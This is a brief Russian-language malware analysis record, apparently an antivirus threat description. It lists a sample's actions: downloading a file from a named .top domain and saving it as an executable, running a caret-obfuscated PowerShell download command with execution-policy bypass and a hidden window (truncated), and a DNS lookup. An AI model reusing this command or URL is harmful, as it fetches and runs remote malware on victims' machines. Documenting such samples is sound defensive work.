Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.zonedopesa.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "pOW^e^Rs^HE^ll.ExE -^e^xe^C^u^TI^O^npOLIcY^ b^YP^ASS -NOP^r^ofI^l^e ^-^wi^NdOwst^Y^l^e ^H^IDdEN^ (New-o^bj^eCT sYSTeM.n^e^t.w^eBclIeNT).DO^w^nL^Oa^DfI^L^E('http://www.zoned...
Сетевая активность
UDP
- DNS ASK zo###opesa.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "pOW^e^Rs^HE^ll.ExE -^e^xe^C^u^TI^O^npOLIcY^ b^YP^ASS -NOP^r^ofI^l^e ^-^wi^NdOwst^Y^l^e ^H^IDdEN^ (New-o^bj^eCT sYSTeM.n^e^t.w^eBclIeNT).DO^w^nL^Oa^DfI^L^E('http://www.zoned...' (со скрытым окном)
